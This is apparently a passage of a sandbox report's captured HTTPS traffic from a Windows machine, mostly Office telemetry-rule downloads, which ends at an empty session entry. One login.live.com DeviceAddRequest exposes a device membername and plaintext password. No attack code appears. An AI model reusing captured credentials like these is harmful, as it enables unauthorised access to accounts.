2024-10-28 17:43:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	63511	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 21f78716-701e-005c-7b46-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174330Z-17c5cb586f6z6tw6g7cmdv30m800000006gg000000008k37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:30 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	63513	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2ee95feb-501e-0029-5d17-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174330Z-15b8d89586fcvr6p5956n5d0rc0000000bd0000000001r0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	63505	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-28 17:43:30 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:30 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 76691e5d-44e3-49cc-8f06-806f1313cee0 PPServer: PPV: 30 H: BL02EPF0001D85D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:29 GMT Connection: close Content-Length: 1276
2024-10-28 17:43:30 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	63506	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-28 17:43:30 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 6a 76 6f 79 73 6c 72 79 6b 6c 73 73 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 2d 35 7e 23 3d 6b 73 5f 6e 34 74 4b 66 2b 67 3d 71 70 72 3a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02qjvoyslryklssc</Membername><Password>-5~#=ks_n4tKf+g=qpr:</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-28 17:43:32 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 28 Oct 2024 17:42:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: bc59a50f-3c94-4c0a-ad7d-b0e6badac55e PPServer: PPV: 30 H: BL02EPF0001D819 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:31 GMT Connection: close Content-Length: 17166
2024-10-28 17:43:32 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 32 33 41 38 32 35 45 38 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 66 37 30 32 35 66 61 64 2d 37 65 34 64 2d 34 64 31 35 2d 39 64 63 38 2d 38 62 32 30 33 62 34 33 39 37 64 30 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001123A825E8</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="f7025fad-7e4d-4d15-9dc8-8b203b4397d0" LicenseID="3252b20c-d425-4711
2024-10-28 17:43:32 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	63523	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 5e46bd4b-a01e-003d-3101-2898d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174331Z-17c5cb586f6r59nt869u8w8xt8000000047g00000000cp4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	63526	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:31 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 395ac5b3-901e-0083-7e6a-27bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174331Z-r197bdfb6b4bq7nf8dgr5rzeq400000000hg00000000a1rg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:31 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	63524	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174331Z-16849878b78fhxrnedubv5byks00000003hg00000000w7zw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	63525	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:31 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174331Z-15b8d89586fxdh48qknu9dqk2g000000099000000000aqpg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:31 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	63527	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:31 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174331Z-16849878b78g2m84h2v9sta290000000046g00000000mz12 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	63533	23.218.232.160	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
